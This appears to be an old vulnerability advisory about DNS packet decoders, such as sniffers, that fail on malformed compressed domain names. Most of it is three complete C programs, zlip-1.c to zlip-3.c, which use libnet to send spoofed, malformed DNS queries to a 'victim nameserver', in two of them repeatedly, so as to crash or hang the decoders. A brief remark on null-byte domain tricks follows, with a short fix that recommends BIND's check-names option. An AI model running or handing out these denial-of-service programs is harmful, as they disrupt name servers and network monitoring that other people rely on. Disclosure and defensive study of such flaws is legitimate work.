COMMAND
dns
SYSTEMS AFFECTED
most unices
PROBLEM
Sebastian found following. Some dns packet decoders (sniffers,
ids systems (?), dns servers) may be vulnerable to malformed
compressed domain names inside dns packets. As he played with the
DNS RFC (1035 especially) Sebastian came up with the idea to
create malformed compressed dns domains inside the DNS packet to
make it impossible for the DNS packet decoder to decompress it,
which might lead to a denial of service attack. On tests it was
found his BIND servers resisting all attacks (three different
types), but all sniffers he used to view the DNS packets send to
the server behaved in a very "special" way.
First test (pointing-to-itself-compression (zlip-1.c))
======================================================
The DNS domain consists out of multiple labels, and message
"compression" allows you to let a pointer point to a previous
label inside the packet, to save bytes in the DNS packet. He just
created a pointer that points to itself, meaning on a recursive
domain decompression (like etherreal uses), this will produce
effects like segfaulting or hanging. Etherreal alloc's memory
until the system crashes, tcpdump stopped working before the
packet is received, on SIGINT, it displays the malformed packet,
but dropped all other packets:
14:57:59.025013 128.75.9.2.48078 > victim.ns.org.domain: 30993 Type49159
(Class 49168)?
zlip-1.c follows:
/* zlip - named denial of service attacks
*
* 990530 - found and exploited by scut / teso
*
* this file is non public - keep it to yourself
*
* source based of udp+data.c from route's libnet
*/
#include <stdio.h>
#include <libnet.h>
int
main (int argc, char **argv)
{
int sock, c;
u_long src_ip, dst_ip;
u_short src_prt = 0, dst_prt;
u_char *buf;
u_char *qbuf = "\xc0\x0c\xc0\x07\xc0\x10\xc0\x17\xc0\x20\xc0\x27"
"\xc0\x30\xc0\xff\xcf\x00\x00\x00\x01\x00\x01";
int qbuf_s = 23;
printf ("zlip - named denial of service attack\n");
if (argc != 4) {
printf ("\nusage: %s <srcip> <srcport> <dstip>\n", argv[0]);
exit (EXIT_FAILURE);
}
src_ip = libnet_name_resolve (argv[1], 0);
src_prt = (u_short) atoi (argv[2]);
dst_ip = libnet_name_resolve (argv[3], 0);
dst_prt = 53;
if (src_ip == 0 || dst_ip == 0) {
printf ("invalid syntax\n");
exit (EXIT_FAILURE);
}
buf = calloc (1, (UDP_H + IP_H + DNS_H + qbuf_s));
if (buf == NULL) {
perror ("No memory for packet");
exit (EXIT_FAILURE);
}
libnet_seed_prand ();
sock = open_raw_sock(IPPROTO_RAW);
if (sock == -1) {
perror ("No socket");
exit (EXIT_FAILURE);
}
libnet_build_ip ( UDP_H + DNS_H + qbuf_s, /* content size */
0, /* tos */
0, /* id :) btw, what does 242 mean ? */
0, /* frag */
64, /* ttl */
IPPROTO_UDP, /* subprotocol */
src_ip, /* spoofa ;) */
dst_ip, /* victim ns ip */
NULL, /* payload already there */
0, /* same */
buf); /* build in packet buffer */
libnet_build_udp ( (src_prt == 0) ? libnet_get_prand (PRu16) : src_prt, /* source port */
dst_prt, /* 53 usually */
NULL, /* content already there */
0, /* same */
buf + IP_H); /* build after ip header */
libnet_build_dns ( libnet_get_prand (PRu16), /* dns id (the famous one :) */
0x0000, /* standard query */
1, /* 1 query */
0, /* no answers */
0, /* no authoritative information */
0, /* no additional information */
qbuf, /* buffer with the malformed query */
qbuf_s, /* query size */
buf + IP_H + UDP_H); /* write into packet buffer */
libnet_do_checksum (buf, IPPROTO_UDP, UDP_H + DNS_H + qbuf_s);
c = write_ip (sock, buf, UDP_H + IP_H + DNS_H + qbuf_s);
if (c < UDP_H + IP_H + DNS_H + qbuf_s) {
printf ("write_ip wrote too less bytes\n");
}
printf ("completed, wrote %d bytes to victim nameserver\n", c);
free (buf);
return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
}
Second test (crossreferencing pointers (zlip-2.c))
==================================================
Similar to the first code, but now two pointer are used to
reference each other, speeding up the effect on Etherreal.
Results are the same as in the first test. zlip-2.c follows:
/* zlip - named denial of service attacks
*
* 990530 - found and exploited by scut / teso
*
* this file is non public - keep it to yourself
*
* source based of udp+data.c from route's libnet
*/
#include <stdio.h>
#include <libnet.h>
int
main (int argc, char **argv)
{
int sock, c, i;
u_long src_ip, dst_ip;
u_short src_prt = 0, dst_prt;
u_char *buf;
u_char *qbuf = "\xc0\x0e\xc0\x0c\xc0\x10\xc0\x17\xc0\x20\xc0\x27"
"\xc0\x30\xc0\xff\xcf\x00\x00\x00\x01\x00\x01";
int qbuf_s = 23;
printf ("zlip - named denial of service attack\n");
if (argc != 5) {
printf ("\nusage: %s <srcip> <srcport> <dstip> <amount>\n", argv[0]);
exit (EXIT_FAILURE);
}
src_ip = libnet_name_resolve (argv[1], 0);
src_prt = (u_short) atoi (argv[2]);
dst_ip = libnet_name_resolve (argv[3], 0);
dst_prt = 53;
if (src_ip == 0 || dst_ip == 0) {
printf ("invalid syntax\n");
exit (EXIT_FAILURE);
}
buf = calloc (1, (UDP_H + IP_H + DNS_H + qbuf_s));
if (buf == NULL) {
perror ("No memory for packet");
exit (EXIT_FAILURE);
}
libnet_seed_prand ();
sock = open_raw_sock(IPPROTO_RAW);
if (sock == -1) {
perror ("No socket");
exit (EXIT_FAILURE);
}
for (i = atoi (argv[4]); i > 0; i--) {
libnet_build_ip ( UDP_H + DNS_H + qbuf_s, /* content size */
0, /* tos */
0, /* id :) btw, what does 242 mean ? */
0, /* frag */
64, /* ttl */
IPPROTO_UDP, /* subprotocol */
src_ip, /* spoofa ;) */
dst_ip, /* victim ns ip */
NULL, /* payload already there */
0, /* same */
buf); /* build in packet buffer */
libnet_build_udp ( (src_prt == 0) ? libnet_get_prand (PRu16) : src_prt, /* source port */
dst_prt, /* 53 usually */
NULL, /* content already there */
0, /* same */
buf + IP_H); /* build after ip header */
libnet_build_dns ( libnet_get_prand (PRu16), /* dns id (the famous one :) */
0x0000, /* standard query */
1, /* 1 query */
0, /* no answers */
0, /* no authoritative information */
0, /* no additional information */
qbuf, /* buffer with the malformed query */
qbuf_s, /* query size */
buf + IP_H + UDP_H); /* write into packet buffer */
libnet_do_checksum (buf, IPPROTO_UDP, UDP_H + DNS_H + qbuf_s);
c = write_ip (sock, buf, UDP_H + IP_H + DNS_H + qbuf_s);
if (c < UDP_H + IP_H + DNS_H + qbuf_s) {
printf ("write_ip wrote too less bytes\n");
}
printf ("completed, wrote %d bytes to victim nameserver\n", c);
}
free (buf);
return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
}
Third test (very long label, decompressed multiple times (zlip-3.c))
====================================================================
This time Sebastian used a long label (maximum of 63 characters),
and referenced to it a dozend times, this will decode to a very
long domain, therefore it may overflow some fixed-sized-buffers
(because the rfc says "limited to 500 characters" some
programmers may prefer fixed buffers for dns decoders). This is
the case in Etherreal, where such a request creates a segmentation
fault (due to a buffer overrun). zlip-3.c follows:
/* zlip - named denial of service attacks
*
* 990530 - found and exploited by scut / teso
*
* this file is non public - keep it to yourself
*
* source based of udp+data.c from route's libnet
*/
#include <stdio.h>
#include <libnet.h>
int
main (int argc, char **argv)
{
int sock, c, i;
u_long src_ip, dst_ip;
u_short src_prt = 0, dst_prt;
u_char *buf;
u_char *qbuf = "\x3ethisleetostringwillcrashyourlittlenameserverforsurehahahahahah\xc0\x0c\xc0\x0c"
"\xc0\x0c\xc0\x0c\xc0\x0c\xc0\x0c\xc0\x0c\xc0\x0c\xc0\x0c\xc0\x0c\xc0\x0c\xc0\x0c"
"\xc0\x0c\xc0\x0c\xc0\x0c\x00";
int qbuf_s = strlen (qbuf);
printf ("zlip - named denial of service attack\n");
if (argc != 5) {
printf ("\nusage: %s <srcip> <srcport> <dstip> <amount>\n", argv[0]);
exit (EXIT_FAILURE);
}
src_ip = libnet_name_resolve (argv[1], 0);
src_prt = (u_short) atoi (argv[2]);
dst_ip = libnet_name_resolve (argv[3], 0);
dst_prt = 53;
if (src_ip == 0 || dst_ip == 0) {
printf ("invalid syntax\n");
exit (EXIT_FAILURE);
}
buf = calloc (1, (UDP_H + IP_H + DNS_H + qbuf_s));
if (buf == NULL) {
perror ("No memory for packet");
exit (EXIT_FAILURE);
}
libnet_seed_prand ();
sock = open_raw_sock(IPPROTO_RAW);
if (sock == -1) {
perror ("No socket");
exit (EXIT_FAILURE);
}
for (i = atoi (argv[4]); i > 0; i--) {
libnet_build_ip ( UDP_H + DNS_H + qbuf_s, /* content size */
0, /* tos */
0, /* id :) btw, what does 242 mean ? */
0, /* frag */
64, /* ttl */
IPPROTO_UDP, /* subprotocol */
src_ip, /* spoofa ;) */
dst_ip, /* victim ns ip */
NULL, /* payload already there */
0, /* same */
buf); /* build in packet buffer */
libnet_build_udp ( (src_prt == 0) ? libnet_get_prand (PRu16) : src_prt, /* source port */
dst_prt, /* 53 usually */
NULL, /* content already there */
0, /* same */
buf + IP_H); /* build after ip header */
libnet_build_dns ( libnet_get_prand (PRu16), /* dns id (the famous one :) */
0x0000, /* standard query */
1, /* 1 query */
0, /* no answers */
0, /* no authoritative information */
0, /* no additional information */
qbuf, /* buffer with the malformed query */
qbuf_s, /* query size */
buf + IP_H + UDP_H); /* write into packet buffer */
libnet_do_checksum (buf, IPPROTO_UDP, UDP_H + DNS_H + qbuf_s);
c = write_ip (sock, buf, UDP_H + IP_H + DNS_H + qbuf_s);
if (c < UDP_H + IP_H + DNS_H + qbuf_s) {
printf ("write_ip wrote too less bytes\n");
}
printf ("completed, wrote %d bytes to victim nameserver\n", c);
}
free (buf);
return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
}
Another thing to remember is that it is possible to put ABSOLUTELY
ANYTHING inside a DNS domain name. This includes whitespace,
control characters, and even NULL. Imagine what could happen if
some program did a strcmp() on the following name:
rs.internic.net\0.xa.net
where, of course, \0 is a null. Interested readers may ponder
what type of programs may be exploited with this type of attack.
SOLUTION
Use BIND's check-names option to refuse illegal answers. Many
sysadmins disable BIND's "check-names" option because their less
knowledgeable colleagues assign illegal names. In particular,
many use underscores in system names, even though they're
verboten. BIND *should* have a separate option that allows
underscores in names to accommodate this frequent glitch, but it
doesn't. So, the checking becomes all-or-nothing.